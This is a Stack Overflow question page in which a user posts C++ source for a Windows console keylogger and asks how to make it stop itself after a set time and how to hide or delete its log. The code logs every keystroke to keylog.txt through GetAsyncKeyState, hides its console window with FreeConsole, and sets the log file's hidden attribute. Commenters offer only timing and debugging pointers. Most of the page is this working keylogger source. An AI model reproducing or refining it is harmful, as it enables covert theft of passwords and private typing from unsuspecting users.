0

I just created a console based keylogger application. Since my keylogger application is an endless loop (never closes), I wonder if I can make the keylogger automatically terminates itself after 20 seconds.

while (true)
{
    for (key = 8; key <= 190; key++) // ascii code
    {
        if (GetAsyncKeyState(key) == -32767)
            if (KeyIsListed(key) == FALSE)
                {
                    ofstream logfile;
                    logfile.open("keylog.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
    }
}

Based on your suggestion, this is what I changed so far

FreeConsole(); 

char key;

//time_t future = time(NULL) + 3; // exit after 3 seconds
clock_t start = clock();

while (true)
{
    if (((clock() - start) / CLOCKS_PER_SEC) >= 3) // if (time(NULL) > future)
    {
        DWORD attributes = GetFileAttributes("keylog.txt");
        SetFileAttributes("keylog.txt", attributes + FILE_ATTRIBUTE_HIDDEN);
        // remove("keylog.txt");
        break;
    }
    for (key = 8; key <= 190; key++) // ascii code
    {
        if (GetAsyncKeyState(key) == -32767)
            if (KeyIsListed(key) == FALSE)
                {
                    ofstream logfile;
                    logfile.open("keylog.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
    }
}
exit(0);

I checked the Task Manager after 3 seconds and the keylogger still ran in the background.

Also, how can I remove keylog.txt or set keylog.txt hidden upon terminating the program?

notClickBait
  • 101
  • 1
  • 1
  • 12
  • 2
    Do you know how to get the current time? For example using the [`std::time`](http://en.cppreference.com/w/cpp/chrono/c/time) function? – Some programmer dude Dec 29 '17 at 09:58
  • Check this one https://stackoverflow.com/questions/45941512/exit-a-c-loop-after-defined-amount-of-time and this one https://stackoverflow.com/questions/2808398/easily-measure-elapsed-time – BartekPL Dec 29 '17 at 09:59
  • Besides, you are doing it wrong: ``GetAsyncKeyState(key) == -32767`` – Asesh Dec 29 '17 at 10:13
  • I updated my code and used both time() and clock(), but my keylogger didn't terminate itself. Also how do I remove keylog.txt or set keylog.txt hidden? – notClickBait Dec 29 '17 at 20:24
  • @Someprogrammerdude I updated my code, would you please take a look at it? – notClickBait Dec 30 '17 at 03:57
  • Perhaps it's time you [learn how to debug your programs](https://ericlippert.com/2014/03/05/how-to-debug-small-programs/)? – Some programmer dude Dec 30 '17 at 04:45
  • I spent hours debugging it, but I couldn't figure out the solutions. If you don't want to give me a solution, could you give me some hints where this program went wrong? – notClickBait Dec 30 '17 at 06:53

0 Answers0